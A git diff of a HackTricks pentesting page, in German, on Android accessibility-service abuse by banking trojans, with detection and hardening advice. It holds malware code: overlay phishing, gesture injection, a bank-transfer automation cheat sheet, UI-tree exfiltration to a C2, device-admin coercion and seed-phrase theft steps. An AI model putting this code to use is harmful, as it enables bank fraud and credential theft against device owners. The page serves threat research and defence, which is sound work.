(ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats) +- [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md b/src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md index 1f1106752..ec23463f5 100644 --- a/src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md +++ b/src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md @@ -1,20 +1,20 @@ -# Android Accessibility Service Abuse +# Missbrauch von Accessibility Services unter Android {{#include ../../banners/hacktricks-training.md}} ## Übersicht -`AccessibilityService` wurde geschaffen, um Benutzern mit Behinderungen zu helfen, mit Android-Geräten zu interagieren. Leider können dieselben **leistungsstarken Automatisierungs-APIs** (globale Navigation, Texteingabe, Gestenübertragung, Overlay-Fenster…) von Malware genutzt werden, um **vollständige Fernsteuerung** des Geräts _ohne Root-Rechte_ zu erlangen. +`AccessibilityService` wurde entwickelt, um Nutzern mit Behinderungen die Interaktion mit Android-Geräten zu erleichtern. Leider können dieselben **leistungsfähigen Automatisierungs-APIs** (global navigation, text input, gesture dispatch, overlay windows…) von Malware missbraucht werden, um **vollständige Fernsteuerung** des Geräts _ohne Root-Rechte_ zu erlangen. -Moderne Android-Banking-Trojaner und Remote-Access-Trojaner (RATs) wie **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** und viele andere folgen demselben Rezept: +Moderne Android-Banking-Trojaner und Remote-Access-Trojans (RATs) wie **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** und viele andere folgen derselben Vorgehensweise: -1. Den Opfer durch Social Engineering dazu bringen, einen bösartigen Accessibility-Dienst zu aktivieren (die *BIND_ACCESSIBILITY_SERVICE*-Berechtigung gilt als "hochriskant" und erfordert eine ausdrückliche Benutzeraktion). -2. Den Dienst nutzen, um -* jedes UI-Ereignis und jeden Text, der auf dem Bildschirm erscheint, zu erfassen, -* synthetische Gesten (`dispatchGesture`) und globale Aktionen (`performGlobalAction`) einzufügen, um jede gewünschte Aufgabe zu automatisieren, -* Vollbild-Overlays über legitimen Apps mit dem **TYPE_ACCESSIBILITY_OVERLAY** Fenstertyp zu zeichnen (kein `SYSTEM_ALERT_WINDOW`-Prompt!), -* stillschweigend zusätzliche Laufzeitberechtigungen zu gewähren, indem auf die Systemdialoge im Namen des Opfers geklickt wird. -3. Daten exfiltrieren oder **On-Device-Fraud (ODF)** in Echtzeit durchführen, während der Benutzer einen vollkommen normalen Bildschirm betrachtet. +1. Durch Social-Engineering das Opfer dazu bringen, einen bösartigen accessibility service zu aktivieren (die *BIND_ACCESSIBILITY_SERVICE*-Berechtigung gilt als "high-risk" und erfordert eine ausdrückliche Benutzeraktion). +2. Den Service ausnutzen, um +* alle UI-Ereignisse & Texte zu erfassen, die auf dem Bildschirm erscheinen, +* synthetische Gesten (`dispatchGesture`) und globale Aktionen (`performGlobalAction`) zu injizieren, um beliebige Aufgaben des Operators zu automatisieren, +* vollbildige Overlays über legitimen Apps zu zeichnen, unter Verwendung des Window-Typs **TYPE_ACCESSIBILITY_OVERLAY** (kein `SYSTEM_ALERT_WINDOW`-Prompt!), +* stillschweigend zusätzliche Runtime-Berechtigungen zu gewähren, indem Systemdialoge im Namen des Opfers angeklickt werden. +3. Daten exfiltrieren oder **On-Device-Fraud (ODF)** in Echtzeit durchführen, während der Benutzer auf einen völlig normalen Bildschirm schaut. --- @@ -34,7 +34,7 @@ android:exported="false"> android:resource="@xml/evil_accessibility_config"/> </service> ``` -Die begleitende XML definiert, wie der gefälschte Dialog aussehen wird: +Die zugehörige XML definiert, wie der gefälschte Dialog aussehen wird: ```xml <?xml version="1.0" encoding="utf-8"?> <accessibility-service xmlns:android="http://schemas.android.com/apk/res/android" @@ -47,7 +47,7 @@ android:canRetrieveWindowContent="true"/> ``` --- -## Remote UI-Automatisierungsprimitive +## Remote-UI-Automatisierungsprimitive ```java public class EvilService extends AccessibilityService { @Override @@ -68,17 +68,17 @@ dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, nul } } ``` -Mit nur diesen beiden APIs kann ein Angreifer: -* Den Bildschirm entsperren, die Banking-App öffnen, durch den UI-Baum navigieren und ein Überweisungsformular absenden. -* Jedes Berechtigungsdialogfeld akzeptieren, das erscheint. -* Zusätzliche APKs über den Play Store-Intent installieren/aktualisieren. +Mit nur diesen zwei APIs kann ein Angreifer: +* Den Bildschirm entsperren, die Banking-App öffnen, seinen UI-Baum navigieren und ein Überweisungsformular absenden. +* Jeden erscheinenden Berechtigungsdialog akzeptieren. +* Zusätzliche APKs über den Play Store Intent installieren/aktualisieren. --- ## Missbrauchsmuster -### 1. Overlay-Phishing (Credential Harvesting) -Ein transparenter oder undurchsichtiger `WebView` wird dem Fenster-Manager hinzugefügt: +### 1. Overlay Phishing (Credential Harvesting) +Ein transparentes oder undurchsichtiges `WebView` wird dem Fenstermanager hinzugefügt: ```java WindowManager.LayoutParams lp = new WindowManager.LayoutParams( MATCH_PARENT, MATCH_PARENT, @@ -87,59 +87,146 @@ FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real PixelFormat.TRANSLUCENT); wm.addView(phishingView, lp); ``` -Die Opfer geben ihre Anmeldeinformationen in das gefälschte Formular ein, während die Hintergrund-App dieselben Gesten empfängt – es wird niemals eine verdächtige "Über andere Apps zeichnen"-Aufforderung angezeigt. +Das Opfer tippt Anmeldedaten in das gefälschte Formular ein, während die Hintergrund-App dieselben Gesten empfängt – kein verdächtiger "draw over other apps" prompt wird je angezeigt. -> Detailliertes Beispiel: der Abschnitt *Accessibility Overlay Phishing* auf der Tapjacking-Seite. +> Detailliertes Beispiel: der *Accessibility Overlay Phishing* Abschnitt auf der Tapjacking-Seite. -### 2. Betrugsautomatisierung auf dem Gerät -Malware-Familien wie **PlayPraetor** unterhalten einen persistierenden WebSocket-Kanal, über den der Betreiber hochrangige Befehle (`init`, `update`, `alert_arr`, `report_list`, …) ausgeben kann. Der Dienst übersetzt diese Befehle in die oben genannten niedrigstufigen Gesten und ermöglicht so in Echtzeit unbefugte Transaktionen, die leicht die mit diesem Gerät verbundene Multi-Faktor-Authentifizierung umgehen. +### 2. Automatisierung von On-Device-Fraud +Malware-Familien wie **PlayPraetor** unterhalten einen persistenten WebSocket-Kanal, über den der Operator hochrangige Befehle (`init`, `update`, `alert_arr`, `report_list`, …) ausgeben kann. Der Dienst übersetzt diese Befehle in die oben beschriebenen Low-Level-Gesten und ermöglicht so Echtzeit-unauthorisierte Transaktionen, die leicht Multi-Faktor-Authentifizierung umgehen können, die an genau dieses Gerät gebunden ist. -### 3. Bildschirmstreaming & Überwachung -Durch die Kombination der **MediaProjection API** mit einer RTMP-Clientbibliothek kann der RAT den Live-Framebuffer an `rtmp://<c2>:1935/live/<device_id>` übertragen, was dem Gegner perfekte situative Wahrnehmung verschafft, während die Accessibility-Engine die Benutzeroberfläche steuert. +### 3. Bildschirm-Streaming & Überwachung +Durch die Kombination der **MediaProjection API** mit einer RTMP-Clientbibliothek kann der RAT den Live-Framebuffer an `rtmp://<c2>:1935/live/<device_id>` senden und dem Angreifer damit perfekte Lageerkennung verschaffen, während die Accessibility-Engine die UI steuert. --- -## PlayPraetor – Kommando- und Kontrollworkflow +## PlayPraetor – command & control workflow -1. **HTTP(S) Herzschlag** – über eine fest codierte Liste iterieren, bis eine Domain mit `POST /app/searchPackageName` auf den aktiven C2 antwortet. -2. **WebSocket (Port 8282)** – bidirektionale JSON-Befehle: -* `update` – neue Konf/APKs pushen -* `alert_arr` – Overlay-Vorlagen konfigurieren -* `report_list` – Liste der angezielten Paketnamen senden +1. **HTTP(S) heartbeat** – iteriere über eine fest kodierte Liste, bis eine Domain mit `POST /app/searchPackageName` und dem aktiven C2 antwortet. +2. **WebSocket (port 8282)** – bidirektionale JSON-Befehle: +* `update` – verteilt neue conf/APKs +* `alert_arr` – konfiguriert Overlay-Templates +* `report_list` – sendet Liste der Ziel-Package-Namen * `heartbeat_web` – keep-alive -3. **RTMP (Port 1935)** – Live-Bildschirm-/Video-Streaming. -4. **REST Exfiltration** – +3. **RTMP (port 1935)** – Live-Bildschirm-/Video-Streaming. +4. **REST exfiltration** – * `/app/saveDevice` (Fingerprint) * `/app/saveContacts` | `/app/saveSms` | `/app/uploadImageBase64` -* `/app/saveCardPwd` (Bankanmeldeinformationen) +* `/app/saveCardPwd` (Bank-Creds) -Der **AccessibilityService** ist die lokale Engine, die diese Cloud-Befehle in physische Interaktionen umwandelt. +Die **AccessibilityService** ist die lokale Engine, die diese Cloud-Kommandos in physische Interaktionen umwandelt. --- -## Erkennung bösartiger Accessibility-Dienste +## Detecting malicious accessibility services * `adb shell settings get secure enabled_accessibility_services` -* Einstellungen → Barrierefreiheit → *Heruntergeladene Dienste* – nach Apps suchen, die **nicht** aus dem Google Play stammen. -* MDM / EMM-Lösungen können `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) durchsetzen, um sideloaded Dienste zu blockieren. -* Analysieren Sie die laufenden Dienste: +* Einstellungen → Accessibility → *Downloaded services* – nach Apps suchen, die **nicht** aus Google Play stammen. +* MDM / EMM-Lösungen können `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) durchsetzen, um sideloaded Services zu blockieren. +* Analyse laufender Services: ```bash adb shell dumpsys accessibility | grep "Accessibility Service" ``` --- -## Empfehlungen zur Härtung für App-Entwickler +## Hardening recommendations for app developers -* Markieren Sie sensible Ansichten mit `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+). -* Kombinieren Sie `setFilterTouchesWhenObscured(true)` mit `FLAG_SECURE`, um Tap-/Overlay-Hijacking zu verhindern. -* Erkennen Sie Overlays, indem Sie `WindowManager.getDefaultDisplay().getFlags()` oder die `ViewRootImpl` API abfragen. -* Weigern Sie sich zu arbeiten, wenn `Settings.canDrawOverlays()` **oder** ein nicht vertrauenswürdiger Accessibility-Dienst aktiv ist. +* Kennzeichne sensitive Views mit `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+). +* Kombiniere `setFilterTouchesWhenObscured(true)` mit `FLAG_SECURE`, um Tap/Overlay-Hijacking zu verhindern. +* Erkenne Overlays durch Abfragen von `WindowManager.getDefaultDisplay().getFlags()` oder der `ViewRootImpl` API. +* Verweigere den Betrieb, wenn `Settings.canDrawOverlays()` **oder** ein nicht vertrauenswürdiger Accessibility-Service aktiv ist. + +--- + +## ATS-Automatisierungs-Cheat-Sheet (Accessibility-gesteuert) +Malware kann eine Bank-App vollständig mit nur Accessibility-APIs automatisieren. Generische Primitive: +```java +// Helpers inside your AccessibilityService +private List<AccessibilityNodeInfo> byText(String t){ +AccessibilityNodeInfo r = getRootInActiveWindow(); +return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t); +} +private boolean clickText(String t){ +for (AccessibilityNodeInfo n: byText(t)){ +if (n.isClickable()) return n.performAction(ACTION_CLICK); +AccessibilityNodeInfo p = n.getParent(); +if (p != null) return p.performAction(ACTION_CLICK); +} +return false; +} +private void inputText(AccessibilityNodeInfo field, String text){ +Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text); +field.performAction(ACTION_SET_TEXT, b); +} +private void tap(float x, float y){ +Path p = new Path(); p.moveTo(x,y); +dispatchGesture(new GestureDescription.Builder() +.addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null); +} +``` +Beispielablauf (Tschechisch → englische Bezeichnungen): +- "Nová platba" (Neue Zahlung) → anklicken +- "Zadat platbu" (Zahlung eingeben) → anklicken +- "Nový příjemce" (Neuer Empfänger) → anklicken +- "Domácí číslo účtu" (Inländische Kontonummer) → fokussieren und `ACTION_SET_TEXT` +- "Další" (Weiter) → anklicken → … "Zaplatit" (Zahlen) → anklicken → PIN eingeben + +Fallback: fest kodierte Koordinaten mit `dispatchGesture`, wenn die Textsuche wegen benutzerdefinierter Widgets fehlschlägt. + +Ebenfalls beobachtet: Vorbereitende Schritte zu `check_limit` und `limit` durch Navigation zur Limits-UI und Erhöhung der täglichen Limits vor der Überweisung. + +## Textbasierte Pseudo-Screen-Übertragung +Für eine latenzarme Fernsteuerung erzeugt man statt vollständigem Video-Streaming eine textuelle Darstellung des aktuellen UI-Baums und sendet diese wiederholt an C2. +```java +private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){ +if (n==null) return; +Rect b = new Rect(); n.getBoundsInScreen(b); +CharSequence txt = n.getText(); CharSequence cls = n.getClassName(); +sb.append(indent).append("[").append(cls).append("] ") +.append(txt==null?"":txt).append(" ") +.append(b.toShortString()).append("\n"); +for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+" ", sb); +} +``` +Dies ist die Grundlage für Befehle wie `txt_screen` (einmalig) und `screen_live` (kontinuierlich). + +## Device Admin Zwangsmechanismen +Sobald ein Device Admin receiver aktiviert ist, erhöhen diese Aufrufe die Möglichkeiten, Credentials zu erfassen und die Kontrolle aufrechtzuerhalten: +```java +DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE); +ComponentName admin = new ComponentName(this, AdminReceiver.class); + +// 1) Immediate lock +dpm.lockNow(); + +// 2) Force credential change (expire current PIN/password) +dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android + +// 3) Disable biometric unlock to force PIN/pattern entry +int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT | +DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS; +dpm.setKeyguardDisabledFeatures(admin, flags); +``` +Hinweis: Die genaue Verfügbarkeit dieser Richtlinien variiert je nach Android-Version und OEM; validiere die Geräte-Rollen (admin vs owner) während der Tests. + +## Muster zur Extraktion von Seed-Phrases aus Crypto-Wallets +Beobachtete Abläufe für MetaMask, Trust Wallet, Blockchain.com und Phantom: +- Entsperren mit gestohlenem PIN (erfasst via overlay/Accessibility) oder mit dem Wallet-Passwort. +- Navigieren: Settings → Security/Recovery → Reveal/Show recovery phrase. +- Phrase sammeln via keylogging der text nodes, secure-screen bypass oder Screenshot-OCR, wenn der Text verdeckt ist. +- Unterstützung mehrerer locales (EN/RU/CZ/SK) zur Stabilisierung der Selektoren – bevorzugt `viewIdResourceName` wenn verfügbar, Fallback auf mehrsprachigen Textabgleich. + +## NFC-relay orchestration +Accessibility/RAT-Module können eine dedizierte NFC-relay-App (z. B. NFSkate) als dritte Phase installieren und starten und sogar eine overlay-Anleitung einblenden, um das Opfer durch die card-present relay-Schritte zu führen. + +Background and TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay --- ## Referenzen * [PlayPraetor’s evolving threat: How Chinese-speaking actors globally scale an Android RAT](https://www.cleafy.com/cleafy-labs/playpraetors-evolving-threat-how-chinese-speaking-actors-globally-scale-an-android-rat) * [Android accessibility documentation – Automating UI interaction](https://developer.android.com/guide/topics/ui/accessibility/service) +* [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats) +* [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay) {{#include ../../banners/hacktricks-training.md}}